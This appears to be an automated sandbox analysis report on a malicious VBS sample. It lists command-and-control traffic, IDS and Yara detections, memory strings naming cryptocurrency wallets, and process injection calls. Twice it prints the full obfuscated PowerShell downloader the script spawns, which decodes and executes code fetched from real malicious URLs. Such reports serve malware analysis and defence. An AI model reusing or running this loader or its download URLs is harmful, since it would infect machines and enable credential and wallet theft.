Windows Analysis Report
g8ix97hz.vbs

Malicious sample detected (through community Yara rule)

Source: global traffic

TCP traffic: 192.168.2.6:49859 -> 87.120.127.215:3847

Source: Joe Sandbox View	IP Address: 162.159.200.1 162.159.200.1
Source: Joe Sandbox View	IP Address: 213.239.239.164 213.239.239.164
Source: Joe Sandbox View	IP Address: 62.149.0.30 62.149.0.30
Source: Joe Sandbox View	IP Address: 129.6.15.28 129.6.15.28

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 87.120.127.215:3847 -> 192.168.2.6:49959
Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 87.120.127.215:3847 -> 192.168.2.6:49924
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49837 -> 202.71.109.228:443

Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.127.215

Source: global traffic	HTTP traffic detected: GET /ef/Skifterne.sea HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.tdejb.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ef/ef.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.tdejb.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.tdejb.com
Source: global traffic	DNS traffic detected: DNS query: ntp.time.in.ua
Source: global traffic	DNS traffic detected: DNS query: time-a-g.nist.gov
Source: global traffic	DNS traffic detected: DNS query: time.facebook.com
Source: global traffic	DNS traffic detected: DNS query: ntp1.hetzner.de
Source: global traffic	DNS traffic detected: DNS query: ts1.aco.net
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: time.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: wmpshare.exe, 00000022.00000003.3175098577.0000028188A01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/json/list?t=%u
Source: wmpshare.exe, 00000022.00000003.3175098577.0000028188A01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/json/list?t=%uws:exodus.jsExodusatomic.jsAtomicguarda.jsGuardainfinity.jsInfinit
Source: svchost.exe, 0000000A.00000002.3434041503.0000020984400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: wscript.exe, 00000000.00000003.2166695711.0000019A99B95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2184115797.0000019A99BAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167388671.0000019A99B95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2187184501.0000019A99BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000003.2164391636.0000019A9BA27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166695711.0000019A99B95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2184115797.0000019A99BAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167388671.0000019A99B95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163384190.0000019A9BA27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164769829.0000019A9BA27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2187184501.0000019A99BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.2164638185.0000019A99C32000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164079644.0000019A99C0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?09182d85670cc
Source: wscript.exe, 00000000.00000003.2167388671.0000019A99C00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2187184501.0000019A99C00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2184115797.0000019A99C00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166695711.0000019A99C00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164362174.0000019A99C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabbOX_
Source: wscript.exe, 00000000.00000003.2164638185.0000019A99C32000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164079644.0000019A99C0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?09182d8567
Source: svchost.exe, 0000000A.00000003.2293909859.0000020984340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: powershell.exe, 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB4181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2542474955.0000000004A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB5DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tdejb.com
Source: powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2348383471.0000020FCC7CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000005.00000002.2348383471.0000020FCC829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cyf
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB5DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tdejb.com
Source: svchost.exe	String found in binary or memory: https://87.120.127.215:3847/6d41b386417b9c328d8/i4rtpd4n.psnut
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB4181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.2542474955.0000000004A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000A.00000003.2293909859.000002098439E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.2293909859.0000020984340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB4D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2557862316.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB5746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2309530129.0000020FB43A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.arecosaldature.it/ef/Skifterne.sea
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB5746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2309530129.0000020FB43A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com
Source: powershell.exe, 00000005.00000002.2309530129.0000020FB5746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2309530129.0000020FB43A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2542474955.0000000004BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ef/Skifterne.sea
Source: msiexec.exe, 00000013.00000002.2743933601.0000000023760000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ef/ef.bin
Source: msiexec.exe, 00000013.00000002.2743933601.0000000023760000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ef/ef.binGalisGrawww.puneet.ae/ef/ef.bin

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934

Source: unknown	HTTPS traffic detected: 202.71.109.228:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.71.109.228:443 -> 192.168.2.6:49837 version: TLS 1.2

Source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_8020737a-a

Source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_c2d907fd-e

Source: Yara match	File source: 19.3.msiexec.exe.24620000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.4f60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.msiexec.exe.24840000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.msiexec.exe.24840000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.4f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.5180000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.msiexec.exe.24620000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.msiexec.exe.24620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.4f60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2712310012.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2708661877.0000000024840000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2712594384.0000000005180000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 4156, type: MEMORYSTR

Source: C:\Windows\System32\svchost.exe

Code function: 23_3_00007DF416F908CC CreateDesktopW,CreateProcessW,GetExitCodeProcess,TerminateProcess,

23_3_00007DF416F908CC

System Summary

Source: amsi32_7756.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 524, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7756, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De			Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E3C8 NtAcceptConnectPort,	23_3_00007DF416F9E3C8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E3E8 NtAcceptConnectPort,	23_3_00007DF416F9E3E8
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9F32C NtAcceptConnectPort,free,	23_3_00007DF416F9F32C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9F180 malloc,RtlDosPathNameToNtPathName_U,NtAcceptConnectPort,NtAcceptConnectPort,free,	23_3_00007DF416F9F180
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E25C NtAcceptConnectPort,	23_3_00007DF416F9E25C
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E094 NtAcceptConnectPort,	23_3_00007DF416F9E094
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E150 NtAcceptConnectPort,	23_3_00007DF416F9E150
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E170 NtAcceptConnectPort,	23_3_00007DF416F9E170
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00007DF416F9E910 calloc,DuplicateHandle,NtAcceptConnectPort,free,NtAcceptConnectPort,NtAcceptConnectPort,	23_3_00007DF416F9E910
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_00000155E72D15C0 NtAcceptConnectPort,	23_2_00000155E72D15C0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_00000155E72D1CF4 NtAcceptConnectPort,CloseHandle,	23_2_00000155E72D1CF4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00007DF474201958 calloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueryInformationProcess,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	34_3_00007DF474201958
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_3_00007DF474201CE8 CreateProcessW,NtResumeThread,CloseHandle,free,	34_3_00007DF474201CE8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D63158 NtAcceptConnectPort,	34_2_0000028186D63158
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D6290C NtAcceptConnectPort,	34_2_0000028186D6290C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62A20 NtAcceptConnectPort,	34_2_0000028186D62A20
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62EC8 NtAcceptConnectPort,	34_2_0000028186D62EC8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62E84 NtAcceptConnectPort,	34_2_0000028186D62E84
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62CAC NtAcceptConnectPort,	34_2_0000028186D62CAC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62DAC NtAcceptConnectPort,	34_2_0000028186D62DAC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62DDC NtAcceptConnectPort,	34_2_0000028186D62DDC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_0000028186D62D80 NtAcceptConnectPort,	34_2_0000028186D62D80
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 34_2_00007DF4741B2E90 NtQuerySystemInformation,NtQuerySystemInformation,	34_2_00007DF4741B2E90
